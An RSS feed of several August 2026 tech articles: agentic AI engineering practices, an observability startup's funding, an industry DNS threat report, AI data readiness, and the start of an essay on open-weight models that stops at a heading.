<p class="wp-block-paragraph">However, FDE also provides the discipline that vibe coding alone lacks. An enterprise agent cannot rely on generated code that nobody has reviewed, tested or secured. The FDE approach turns intent-driven development into responsible engineering. The engineer may use AI to generate code, but then verifies it through code review, unit tests, integration tests, security checks, policy validation and operational monitoring. In short, vibe coding helps move faster; FDE ensures that speed does not come at the cost of reliability, maintainability or accountability. This aligns with Forrester’s caution that agentic systems can become harmful when they are misaligned, poorly governed or deployed without adequate experimentation and control.</p>



<h2 class="wp-block-heading">Example: LangGraph with FDE orchestration</h2>



<p class="wp-block-paragraph">LangGraph is well suited for FDE-led Agentic AI implementations because it models workflows as graphs with state, nodes, edges, persistence and human-in-the-loop control. An FDE team can use it to build long-running, auditable workflows where every step is explicit. Consider a customer support escalation workflow. The graph may begin with ticket intake, move to classification, retrieve policy documents, ask a diagnostic agent to propose a resolution, route uncertain cases to a human reviewer and finally update the ticketing system.</p>



<p class="wp-block-paragraph">In this model, the FDE defines the state schema, selects which nodes use LLM reasoning, separates deterministic validation from agentic reasoning and adds checkpoints so the workflow can resume after interruption. Human review is not an afterthought; it becomes a graph transition. If the confidence score is low or a policy exception appears, the workflow pauses for approval. This is an example of FDE orchestration: the framework supplies the runtime primitives, while the forward-deployed engineer shapes those primitives into a secure business process.</p>



<p class="wp-block-paragraph">A simplified LangGraph-style pattern may include nodes such as intake_agent, retrieval_node, policy_checker, resolution_agent, human_approval and ticket_update. The FDE ensures that ticket_update can only run after validation and that sensitive customer data is masked before being sent to the model. The result is not merely an autonomous assistant; it is a controlled workflow that can be inspected, resumed, tested and improved.</p>



<h2 class="wp-block-heading">Example: Microsoft AutoGen and Microsoft Agent Framework with FDE orchestration</h2>



<p class="wp-block-paragraph">Microsoft AutoGen popularized the idea of multi-agent conversations where agents with different roles collaborate to solve a task. In newer enterprise settings, Microsoft Agent Framework provides production-oriented patterns for agents and workflows, including sequential, concurrent, handoff, group chat and manager-led orchestration. An FDE can use these patterns to design a governed multi-agent system rather than a free-form conversation among bots.</p>



<p class="wp-block-paragraph">For example, imagine an enterprise architecture review assistant. One agent reads the solution brief, another checks cloud security requirements, a third evaluates cost and FinOps implications and a fourth prepares a decision summary. A manager or orchestrator coordinates the agents, decides when to ask for missing information and routes the final recommendation to an architect for approval. The FDE defines agent roles, tool permissions, routing logic, approval-required actions and telemetry. If the security agent recommends a design exception, the workflow can pause until an authorized reviewer approves it.</p>



<p class="wp-block-paragraph">In this case, FDE orchestration prevents the system from becoming an uncontrolled debate among agents. It introduces structure: which agent speaks when, which tools each agent may use, which outputs must be machine-readable and what evidence is required before a recommendation is accepted. This is especially important in Microsoft-centric enterprises where identity, audit, data boundaries and cloud governance must align with existing platforms.</p>



<h2 class="wp-block-heading">Example: CrewAI with FDE orchestration</h2>



<p class="wp-block-paragraph">CrewAI is useful when the solution naturally maps to a team of role-based agents. It supports crews, tasks, processes, tools, memory and flows. An FDE team can use CrewAI to model collaborative work where specialized agents perform defined responsibilities. Consider a market intelligence workflow for a product team. A research agent gathers public signals, a competitor analyst compares positioning, a financial analyst estimates market impact and an editor agent prepares the final brief.</p>



<p class="wp-block-paragraph">The FDE’s role is to make this collaboration production-ready. The engineer defines task boundaries, expected outputs, data sources, tool limits, escalation rules and quality checks. If the market intelligence brief is used for executive decision-making, the FDE may require citations, confidence notes, evidence tables and human approval before publication. CrewAI Flows can then be used to orchestrate event-driven execution, manage shared state and resume longer workflows where human feedback or external triggers are involved.</p>



<p class="wp-block-paragraph">A practical CrewAI FDE pattern is to separate creative agent work from controlled workflow steps. Agents may draft, analyze and summarize, but deterministic validators check schema, sensitive content, data completeness and approval status. This hybrid design gives the enterprise the benefit of agent collaboration without surrendering control of the process.</p>



<h2 class="wp-block-heading">Reference architecture for FDE-led agentic AI</h2>



<p class="wp-block-paragraph">A typical FDE-led Agentic AI architecture includes six layers. The experience layer contains chat, workflow, API or embedded user interfaces. The orchestration layer manages graphs, crews, workflows, handoffs, retries, checkpoints and human approvals. The agent layer contains specialized agents with defined roles, instructions, memory and tool access. The tool and integration layer connects to enterprise systems such as CRM, ERP, ticketing, document repositories, email, messaging, databases and APIs. The governance and security layer enforces identity, policy, secrets, monitoring, evaluation, logging and audit controls. The operations layer provides deployment automation, dashboards, incident handling, cost tracking and continuous improvement. Everest Group’s 2025 AI and Generative AI Services PEAK Matrix also notes that <a href="https://www.everestgrp.com/report/egr-2025-71-r-7627/">enterprises are moving beyond pilots toward production-grade AI initiatives</a>, with emphasis on scalable architectures, responsible AI, security, compliance and outcome-based partnerships.</p>



<p class="wp-block-paragraph">The FDE connects these layers into one operating system for AI adoption. The value is not only in the code. It is in the ability to make the code work inside the customer’s real environment, with the customer’s data, controls, users and accountability model.</p>



<h2 class="wp-block-heading">Best practices for FDE in agentic AI programs</h2>



<ul class="wp-block-list">
<li>Start with a business workflow, not with a model capability.</li>



<li>Define measurable outcomes such as cycle time reduction, error reduction, risk reduction or user productivity improvement.</li>



<li>Use explicit orchestration for multi-step processes rather than relying on open-ended agent behavior.</li>



<li>Separate deterministic logic from probabilistic reasoning wherever possible.</li>



<li>Apply least-privilege access to every agent, tool, connector and data source.</li>



<li>Build human-in-the-loop controls for high-risk, low-confidence or irreversible actions.</li>



<li>Create evaluation suites using real examples, edge cases, policy scenarios and adversarial prompts.</li>



<li>Instrument every workflow with traces, logs, metrics, cost visibility and audit records.</li>



<li>Use AI-assisted coding to accelerate delivery, but review, test and secure generated code before release.</li>



<li>Design for transfer of ownership so the client team can operate and extend the system after deployment.</li>
</ul>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Forward-deployed engineering is becoming central to the Agentic AI era because it solves the problem that models alone cannot solve: making AI work safely, reliably and measurably inside real organizations. Agentic systems introduce autonomy, but autonomy without orchestration becomes risk. They introduce speed, but speed without governance becomes fragility. They introduce new coding possibilities, but AI-generated code without engineering ownership becomes technical debt.</p>



<p class="wp-block-paragraph">FDE provides the missing bridge. It brings engineering to the field, policy into the runtime, security into the workflow and operational discipline into agent design. Whether the implementation uses LangGraph, Microsoft AutoGen, Microsoft Agent Framework, CrewAI or another orchestration stack, the core principle remains the same: enterprise Agentic AI must be co-designed with the business, governed by architecture, secured by default and operated as a living system. That is the practical promise of forward-deployed engineering. Everest Group’s <a href="https://www.everestgrp.com/report/egr-2025-38-r-7149/">Innovation Watch on Agentic AI Products</a> further reinforces this direction by describing agentic AI as the next stage of automation, where autonomy, adaptability and decision-making are embedded into systems to improve efficiency and responsiveness.</p>



<p class="wp-block-paragraph"><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="noreferrer noopener"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="noreferrer noopener"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Groundcover raises $100M as observability pivots from monitoring to AI infrastructure]]></title>
<description><![CDATA[Observability spent most of the past decade as a post-production discipline, catching outages and cutting the time engineers need to find a root cause. That focus is shifting as agentic AI systems move into the software development lifecycle, pulling production context earlier into coding, testin...]]></description>
<link>https://tsecurity.de/de/3697222/it-security-nachrichten/groundcover-raises-100m-as-observability-pivots-from-monitoring-to-ai-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697222/it-security-nachrichten/groundcover-raises-100m-as-observability-pivots-from-monitoring-to-ai-infrastructure/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:51 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Observability spent most of the past decade as a post-production discipline, catching <a href="https://www.networkworld.com/article/4171277/network-outages-power-failures-strain-data-center-resiliency.html">outages</a> and cutting the time engineers need to find a root cause. That focus is shifting as agentic AI systems move into the software development lifecycle, pulling production context earlier into coding, testing, and deployment work.</p>



<p class="wp-block-paragraph">That shift is helping to fuel growing demand for observability vendor <a href="https://www.groundcover.com/">Groundcover</a>, which this week <a href="https://www.groundcover.com/news/groundcover-raises-100-million-series-c">announced</a> a $100 million Series C round.</p>



<p class="wp-block-paragraph">Groundcover builds <a href="https://www.networkworld.com/article/4197973/ai-workloads-shake-up-observability-market.html">observability technology</a> on the open-source eBPF and OpenTelemetry technologies. Founded in 2021, <a href="https://www.networkworld.com/article/3960548/groundcover-grows-funding-for-ebpf-based-observability-tech.html">the company raised $35 million in a Series B round</a> in April 2025 and has spent the time since extending that foundation to cover AI agents and the tools those agents call in production.</p>



<p class="wp-block-paragraph">“I think what is happening to observability right now is fascinating,” Groundcover CEO and co-founder <a href="https://www.linkedin.com/in/shahar-azulay-54156bb4/">Shahar Azulay</a> told <em>Network World</em>.</p>



<h2 class="wp-block-heading">What eBPF does and why it matters more now</h2>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/3518212/why-ebpf-is-critical-and-how-its-getting-better.html">eBPF</a>, short for extended Berkeley Packet Filter, is a Linux kernel technology that lets code run safely inside the kernel without a custom kernel module. It has long been used for network monitoring. Groundcover uses eBPF to watch application and infrastructure activity without requiring a developer to instrument each service by hand.</p>



<p class="wp-block-paragraph">That approach removes a step most observability vendors still require. “You didn’t have to have the developer instrument an SDK, change their code base, and so on,” Azulay explained.</p>



<p class="wp-block-paragraph">The same property is becoming useful for a different reason now. Engineering teams are adopting new AI tools fast enough that they lose track of what is actually running in their own environment, Azulay said. He compared the gap to the visibility problems teams dealt with roughly a decade ago, before observability tooling matured. eBPF operates below the application layer rather than depending on code a developer wrote, so Groundcover can still see workflows nobody thought to instrument.</p>



<p class="wp-block-paragraph">“eBPF is kind of that security net of even if you didn’t instrument, even if you’re not in full control, you’re gonna know which agentic workflows are running in production, which models are using, which vendors they’re using, and so on,” Azulay said.</p>



<h2 class="wp-block-heading">How agentic workflows are breaking distributed tracing</h2>



<p class="wp-block-paragraph">Distributed tracing follows a request as it moves across services so engineers can see where time is spent and where something broke. It has always relied on a predictable number of hops, the kind of path an engineer could trace by hand, such as a cache calling a database. </p>



<p class="wp-block-paragraph">Azulay said that assumption breaks down once agents enter the picture, since a single agent session can generate a large number of tool calls and internal model calls with no fixed pattern. “With LLMs and agentic workflows, this is becoming very complicated,” Azulay said.</p>



<p class="wp-block-paragraph">Teams now also track token usage and hallucination rates alongside latency and error rate, Azulay said. Traces can contain a customer’s actual prompt instead of only structured request data, which raises privacy questions. He does not consider the result a variant of application performance monitoring. “It’s not going to be the same product,” he said. “AI observability is not exactly APM.”</p>



<p class="wp-block-paragraph">Azulay tied that shift back to Groundcover’s own architecture. Because the platform stores telemetry inside the customer’s own cloud environment rather than a shared vendor backend, he said it is built to hold the larger, more sensitive telemetry volumes agentic workloads produce without shipping that data to a third party.</p>



<p class="wp-block-paragraph">“I think people are expected to save more telemetry, and save more telemetry more privately,” Azulay said.</p>



<h2 class="wp-block-heading">Agent Mode and the rise of MCP</h2>



<p class="wp-block-paragraph">Groundcover isn’t just optimizing its platform for the needs of modern agentic AI activity. The company is also using AI to improve user experience.</p>



<p class="wp-block-paragraph">Agent Mode is Groundcover’s built-in AI assistant for engineers, letting them ask questions about their systems, build dashboards, and troubleshoot problems in logs and traces without writing queries by hand. Groundcover has also built a Model Context Protocol (MCP) integration that connects Agent Mode to coding agents and workflow tools including Linear, letting engineers and AI systems pass context back and forth during an incident.</p>



<p class="wp-block-paragraph">Azulay said adoption of MCP integration has moved faster than the company expected. Customers use the integration differently depending on how far along they are in adopting AI tools, according to Azulay. Some ask questions through it instead of opening the Groundcover dashboard, while others use it to write a fix directly. He framed the pattern as an industry trend rather than a product win specific to Groundcover.</p>



<p class="wp-block-paragraph">“People are basically starting to build their autonomous software development structure,” he said.</p>



<h2 class="wp-block-heading">Groundcover at a glance</h2>



<ul class="wp-block-list">
<li><strong>Founded:</strong> 2021</li>



<li><strong>Total funding:</strong> $160 million</li>



<li><strong>Latest round:</strong> $100 million Series C, led by One Peak</li>



<li><strong>Other investors:</strong> Morgan Stanley Expansion Capital, Zeev Ventures, Angular Ventures, Heavybit, Jibe</li>



<li><strong>Headquarters:</strong> Tel Aviv, Israel</li>



<li><strong>CEO:</strong> Shahar Azulay</li>



<li><strong>What they do:</strong> Observability technology built on eBPF and OpenTelemetry</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[From dangling DNS records to reverse DNS gaps, attackers find new blind spots]]></title>
<description><![CDATA[DNS underlies nearly every action taken on a network. A website visit, an email, a call to an AI application—all of it starts with a DNS lookup. That dependency cuts both ways. Attackers rely on the same lookups to route victims through malicious infrastructure, and increasingly they do it using ...]]></description>
<link>https://tsecurity.de/de/3697223/it-security-nachrichten/from-dangling-dns-records-to-reverse-dns-gaps-attackers-find-new-blind-spots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697223/it-security-nachrichten/from-dangling-dns-records-to-reverse-dns-gaps-attackers-find-new-blind-spots/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:51 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">DNS underlies nearly every action taken on a network. A website visit, an email, a call to an AI application—all of it starts with a <a href="https://www.networkworld.com/article/965540/what-is-dns-and-how-does-it-work.html">DNS</a> lookup. That dependency cuts both ways. Attackers rely on the same lookups to route victims through malicious infrastructure, and increasingly they do it using techniques that were never supposed to work on the DNS system in the first place.</p>



<p class="wp-block-paragraph">According to <a href="https://www.infoblox.com/resources/report/threat-landscape-report-2026/">Infoblox’s 2026 Threat Landscape Report</a>, attackers are abusing DNS in novel and unique ways to exploit users. The report frames cybercrime as an increasingly industrialized business, with commodity services lowering the barrier to entry for attackers who no longer need deep technical skill to operate at scale. Several of the report’s DNS-specific findings illustrate how that industrialization plays out at the protocol level.</p>



<p class="wp-block-paragraph">Top DNS findings from the report include the following:</p>



<ul class="wp-block-list">
<li>More than 120 million newly registered domains were observed from June 2025 to June 2026, and more than 22% were weaponized or showed threat characteristics.</li>



<li>44% of threat related domains were active for just one day.</li>



<li>96% of customers encountered traffic distribution system domains, the DNS linked routing and cloaking infrastructure attackers use to steer selected victims to scams or malware.</li>



<li>65% of customers queried domains associated with residential proxy services, which can conceal malicious traffic behind seemingly legitimate residential IP addresses.</li>



<li>One-third of identified dangling CNAME records were reportedly easy or trivial to take over, creating a path to trusted subdomain hijacking.</li>
</ul>



<p class="wp-block-paragraph">“It’s kind of crazy stuff,” <a href="https://www.linkedin.com/in/ren%C3%A9e-burton-b7161110b/">Renée Burton</a>, vice president of threat intelligence at <a href="https://www.csoonline.com/article/4202205/infoblox-joins-crowded-easm-market-with-dns-centric-approach.html">Infoblox</a>, told <em>Network World</em>. “It continues to amaze me.”</p>



<h2 class="wp-block-heading">Dangling DNS records give attackers an easy way in</h2>



<p class="wp-block-paragraph">One of the report’s more counterintuitive findings involves dangling CNAME records, a class of <a href="https://www.csoonline.com/article/4055796/why-domain-based-attacks-will-continue-to-wreak-havoc.html">DNS misconfiguration</a> that looks harmless on the surface. </p>



<p class="wp-block-paragraph">A CNAME record points one domain name to another. When the destination expires or the resource behind it is shut down, the record itself often gets left behind, still resolving to nothing until an attacker claims it.</p>



<p class="wp-block-paragraph">Burton said Infoblox has tracked the problem across multiple published papers, and that it extends beyond CNAMEs to dangling MX and A records as well. She described two patterns. The older one involves a time limited promotional campaign that points a CNAME at an external domain, which later expires and gets registered by someone else once the campaign ends and the record is forgotten. The larger and more common pattern now involves cloud infrastructure. An organization spins up a resource such as an Azure Web App or an AWS S3 bucket, decommissions it, and leaves the DNS record behind. An attacker who finds the orphaned record can register a new resource under the same hostname and inherit its traffic.</p>



<p class="wp-block-paragraph">The root cause is organizational rather than technical. “The reason that happens is because you have global enterprises where lots of people are asking for DNS records to be set up, and oftentimes that might be centralized,” Burton said. </p>



<p class="wp-block-paragraph">Management of those records afterward is where the process typically breaks down. The employees who requested a given record in the first place rarely think to ask for it to be removed once the underlying campaign or cloud resource is retired, and without a formal process to catch that gap, orphaned records simply persist. (Read more: <a href="https://www.networkworld.com/article/4158134/dns-security-is-often-inadequate-and-network-engineers-should-get-more-involved.html">DNS security is often inadequate, and network engineers should get more involved</a>)</p>



<p class="wp-block-paragraph">Infoblox does not sell this as a problem its products alone solve. Burton described it as a lifecycle management issue rather than a product gap. Her recommendation centers on process. Organizations need policies that require decommissioned cloud services to be reported and their DNS records removed, along with regular audits of DNS zones to catch orphaned records before an attacker finds them.</p>



<h2 class="wp-block-heading">Traffic distribution systems remain the dominant threat vector</h2>



<p class="wp-block-paragraph">Traffic distribution systems, or TDS, affected 96% of Infoblox customers at peak reach in the report, the highest of any threat category measured. A TDS profiles a visitor by device type, location, browser and behavior, then decides in real time whether to deliver a scam, malware or a benign page.</p>



<p class="wp-block-paragraph">A researcher or automated scanner visiting the same link as a targeted victim may see a harmless decoy, while the intended target is routed to the actual payload. “The way I think about them is that they’re really bulletproof routing systems,” Burton said.</p>



<p class="wp-block-paragraph">The report documents selective routing in its research on Detour Dog, a threat actor cluster that used DNS TXT record queries to deliver the Strela Stealer malware. According to the report, 95% of visits to a compromised site linked to the campaign served benign content, with only visitors matching a specific target profile routed into the infection chain.</p>



<h2 class="wp-block-heading">Reverse DNS infrastructure exploited through .arpa abuse</h2>



<p class="wp-block-paragraph">Another unexpected threat vector that the report exposed is a novel reverse DNS attack.</p>



<p class="wp-block-paragraph">The report’s research into abuse of the .arpa top level domain describes a threat vector built on infrastructure most network teams do not think about as an attack surface at all. The .arpa domain exists for a narrow technical purpose, primarily reverse DNS lookups that map IP addresses back to domain names. It is not meant to host arbitrary DNS records.</p>



<p class="wp-block-paragraph">According to the report, attackers obtained IPv6 address space and gained control of the associated reverse DNS zones, then created DNS records under .arpa designed to make spam email links appear more legitimate. Victims who clicked those links were routed through traffic distribution systems to phishing pages and other malicious content, with the .arpa infrastructure providing a layer of apparent legitimacy that helped the links evade scrutiny.</p>



<p class="wp-block-paragraph">Burton attributed the root cause to inconsistent enforcement of existing technical rules governing .arpa use. Infoblox identified the issue on Cloudflare’s infrastructure specifically and reported it. Cloudflare fixed the problem following that disclosure, according to Burton, though she said the technique is still being observed at smaller organizations that have not implemented the same controls.</p>



<p class="wp-block-paragraph">Asked what stood out most about the .arpa research, Burton pointed to how unlikely the abuse should have been in the first place. “You would never think about it, because it’s not supposed to happen, right?” Burton said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your AI model isn’t the problem. Your data was never ready for it]]></title>
<description><![CDATA[The meeting that changed my perspective



I remember sitting there and realizing I wasn’t thinking about the model at all. I was thinking about the data feeding it.



One discussion stands out in particular. We were evaluating how predictive analytics could improve sales forecasting for a natio...]]></description>
<link>https://tsecurity.de/de/3696828/it-nachrichten/your-ai-model-isnt-the-problem-your-data-was-never-ready-for-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696828/it-nachrichten/your-ai-model-isnt-the-problem-your-data-was-never-ready-for-it/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:22 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">The meeting that changed my perspective</h2>



<p class="wp-block-paragraph">I remember sitting there and realizing I wasn’t thinking about the model at all. I was thinking about the data feeding it.</p>



<p class="wp-block-paragraph">One discussion stands out in particular. We were evaluating how predictive analytics could improve sales forecasting for a national portfolio of opportunities. Leadership wanted greater confidence in projected outcomes so resources could be prioritized earlier in the sales cycle. As conversations turned toward model accuracy, we discovered something more important. Different teams weren’t consistently recording opportunity stages, probability scores and client attributes. The model wasn’t struggling because it lacked sophistication. It was learning from business processes that had never been standardized in the first place. That meeting changed how I approached every AI initiative that followed.</p>



<p class="wp-block-paragraph">Throughout my career leading enterprise business intelligence initiatives, I’ve repeatedly watched organizations blame the algorithm when the real issue was inconsistent data, fragmented ownership across departments and business definitions that meant different things to different teams. AI doesn’t distinguish between disciplined and inconsistent business processes. It learns from both with equal confidence.</p>



<p class="wp-block-paragraph">I’d built and defended executive dashboards for years before that meeting, and dashboards had trained me to believe imperfect data was a manageable, even routine problem. Experienced leaders read a dashboard with context. They know which numbers to trust, which ones need a caveat and which gaps to mentally fill in based on what they already know about the business. Predictive AI doesn’t have that judgment. Machine learning assumes the historical data it’s trained on represents reality as it actually is. If two departments define “active customer” differently, or if a critical field has been silently incomplete for two fiscal years, the model doesn’t notice or compensate. It learns the inconsistency as ground truth, and it repeats that mistake at scale, with confidence, every single time it runs.</p>



<p class="wp-block-paragraph">That moment fundamentally changed how I approach every AI initiative. I stopped starting with technology and started with data integrity instead.</p>



<h2 class="wp-block-heading">5 questions I ask before any AI platform conversation</h2>



<p class="wp-block-paragraph">Today, I rarely begin AI discussions by talking about technology. Before any conversation about platforms or vendors, I ask five questions of the leadership team. Can we explain, in plain language, where this data actually comes from? Do the business leaders in the room agree on what our core definitions mean, or does “revenue” or “active account” shift depending on who’s presenting? Would we rely on this data to make a multimillion-dollar decision without a human manually double-checking it first? Is there a specific, named person accountable for every critical dataset, or does ownership dissolve the moment something goes wrong? And underneath all of it, are we actually solving a business problem, or are we chasing a technology because it’s the thing everyone else is talking about this quarter?</p>



<p class="wp-block-paragraph">I remember one initiative where these questions prevented us from moving too quickly. During an early assessment, we discovered that two operational systems treated the same customer differently because each had evolved around separate business processes. Executive reports appeared consistent because manual reconciliation had become part of the monthly reporting routine. Once we identified the inconsistency, the project paused while business stakeholders agreed on common definitions and ownership. That decision delayed the AI initiative by only a few weeks, but it likely prevented months of troubleshooting after deployment. More importantly, it strengthened confidence in every analytics initiative that followed.</p>



<p class="wp-block-paragraph">These conversations reveal far more about whether an organization is genuinely ready for AI than any vendor demonstration ever will. A polished proof-of-concept can make almost any dataset look production-ready for the ten minutes it’s on screen. These five questions don’t have that luxury. They tend to surface, quickly and uncomfortably, where an organization’s data confidence actually breaks down, and that’s the information leadership needs before committing budget and reputation to a rollout.</p>



<p class="wp-block-paragraph">This lines up with what the <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI Risk Management Framework</a> has argued for a while now: governance and accountability belong at the foundation of an AI initiative, not layered in after a model is already in production. Governance built in retroactively tends to be theater, built to explain a failure that’s already happened rather than to prevent one.</p>



<h2 class="wp-block-heading">Leadership before technology</h2>



<p class="wp-block-paragraph">The organizations I’ve seen actually succeed with AI invest first in governance, ownership and shared business definitions, and only then in the platform itself. They clean up master data before they scale a model against it. They remove duplication in customer and product records. They assign accountability for datasets the same way they’d assign accountability for a budget line, with a name attached and consequences if it slips. This work rarely shows up in a demo, which is probably why it gets skipped so often in the rush toward deployment.</p>



<p class="wp-block-paragraph">One lesson I’ve seen repeatedly is that assigning ownership changes behavior almost immediately. Once business leaders understood they were accountable for the quality of specific datasets, not just the reports generated from them, conversations shifted. Instead of asking why dashboards looked different, teams began discussing why the underlying business process produced inconsistent information. Governance stopped being viewed as documentation and became part of everyday decision-making. The improvements weren’t dramatic overnight, but they were sustainable, and that consistency ultimately mattered more than any individual technology upgrade.</p>



<p class="wp-block-paragraph">I saw this firsthand during an executive reporting initiative where multiple leadership teams relied on the same performance dashboard but interpreted one KPI differently, because ownership had never been clearly assigned. Once the business designated a single owner for the metric and standardized its definition across reporting systems, disagreements disappeared almost overnight. More importantly, that same governance work later allowed predictive analytics to be introduced with confidence, because everyone was working from the same version of the truth.</p>



<p class="wp-block-paragraph">I’ve learned that AI projects rarely fail in the data science team. They fail months earlier, when leadership assumes the organization already understands its own data.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai">McKinsey’s research on scaling AI</a> reinforces this pattern at scale: the organizations that generate lasting value from AI are consistently the ones that pair the technology with real changes to their operating model and governance, rather than simply layering AI on top of how things already worked. That finding matches what I’ve observed leading enterprise analytics initiatives directly. The technology was rarely the constraint. The organization’s relationship with its own data was.</p>



<p class="wp-block-paragraph">It’s tempting to frame AI adoption as an engineering problem with a leadership footnote, when in practice it’s closer to the reverse. CIOs reporting on rebuilding an AI-ready data strategy make a related point: treating data ownership as a purely IT issue stops working once business units, product teams and AI platforms are all generating and transforming data continuously, which is exactly why accountability has to sit with named business leaders, not a technical team working in isolation. <a href="https://www.cio.com/article/4049233/5-actions-to-build-an-ai-ready-data-culture.html">A related piece on building an AI-ready data culture</a> puts it more bluntly: an organization can’t scale AI without first scaling trust in its own data, and that trust starts with culture and ownership, not tooling.</p>



<p class="wp-block-paragraph">I no longer ask whether an organization is AI-ready. I ask whether its leaders would bet on their own data without a human checking behind the model first. If the honest answer is no, the next investment shouldn’t be another AI platform or a more sophisticated model. It should be a stronger data foundation, built deliberately, with clear ownership, before a single additional AI use case gets greenlit.</p>



<p class="wp-block-paragraph">If another executive asked me for one piece of advice before approving a major AI investment, I’d tell them this: spend one day interrogating your data before spending another dollar on your model. What that conversation reveals will tell you more about your organization’s readiness than any vendor demonstration ever could.</p>



<p class="wp-block-paragraph">Organizations rarely fail because their AI isn’t intelligent enough. They struggle because they ask AI to learn from data that was never prepared to support intelligent decisions in the first place. The organizations that lead in this next era won’t be the ones with the most advanced models. They’ll be the ones that got their own house in order first, and knew it.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[With AI, control matters more than capability]]></title>
<description><![CDATA[Ask most enterprise technology teams where they spend their AI strategy energy and you will get the same answer: figuring out which model to use. It feels like the right question. As organizations move from pilots into production and the real compliance, cost and continuity risks appear, it turns...]]></description>
<link>https://tsecurity.de/de/3696830/it-nachrichten/with-ai-control-matters-more-than-capability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696830/it-nachrichten/with-ai-control-matters-more-than-capability/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:22 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Ask most enterprise technology teams where they spend their AI strategy energy and you will get the same answer: figuring out which model to use. It feels like the right question. As organizations move from pilots into production and the real compliance, cost and continuity risks appear, it turns out to be the wrong one.</p>



<p class="wp-block-paragraph">Writing on CIO.com this year, Floyd DCosta <a href="https://www.cio.com/article/4172558/the-next-digital-divide-ai-owners-vs-ai-renters.html">argued the divide is between enterprises that own their AI and those that rent it</a>, and later that <a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">closed-model dependency is outsourced intelligence with a vendor kill switch in your operations</a>. He is right. But the ownership question raises a harder one: own it how? I believe the answer is open-weight and open-source models, not because they are cheaper, but because they are structurally better suited to how serious organizations need to govern and protect AI at scale.</p>



<h2 class="wp-block-heading">Why closed models create governance problems</h2>



<p class="wp-block-paragraph">Building an enterprise AI program on closed, proprietary models from a single external provider is not a technology decision. It is a governance liability. The data confirms the exposure is already real.</p>



<p class="wp-block-paragraph"><a href="https://newsroom.ibm.com/2026-06-17-ibm-study-limited-control-and-rising-dependencies-leave-enterprises-exposed-in-the-age-of-ai">A June 2026 IBM Institute for Business Value study</a> of 1,000 senior executives found that 91% do not fully understand their AI vendor dependencies, 71% said switching providers would be difficult, and 81% said a seven-day vendor outage would cause severe disruption. These figures describe the baseline condition of enterprise AI in 2026.</p>



<p class="wp-block-paragraph">Think about what you give up. You cannot audit the training data. You have no visibility into how the model changes between versions. Your cost structure is set by someone else’s pricing team. And if that provider faces a government directive, a supply disruption or a commercial decision to reprice, you have no leverage and often no warning. For a generic SaaS tool, that is an inconvenience. For organizations in defense, healthcare or financial services, where data handling is regulated by law and audit trails are mandatory, a vendor changing model access terms overnight is a compliance event.</p>



<p class="wp-block-paragraph">The most vivid demonstration came in June 2026, when the U.S. Commerce Department <a href="https://fortune.com/2026/06/13/anthropic-disables-fable-mythos-export-controls-national-security-threat/">ordered Anthropic to suspend access to Fable 5 and Mythos 5 for all foreign nationals</a>, including its own non-citizen employees. The result was a hard global shutoff for every customer, with no advance notice. Enterprises with production workflows on those models were left with nothing. The precedent is now set.</p>



<p class="wp-block-paragraph">This is what AI governance exposure looks like in practice. When your intelligence layer sits entirely outside your control, a single government directive, pricing change or vendor decision can bring your AI operations to a halt. Having seen organizations scramble through exactly this scenario, I can say the ones with no continuity plan are the most exposed. The IBM numbers confirm it: most enterprises have not built the visibility, let alone the architecture, to absorb this kind of disruption. The question is not whether it will happen again. It is whether your architecture is ready when it does.</p>



<h2 class="wp-block-heading">Open-weight models have changed the equation</h2>



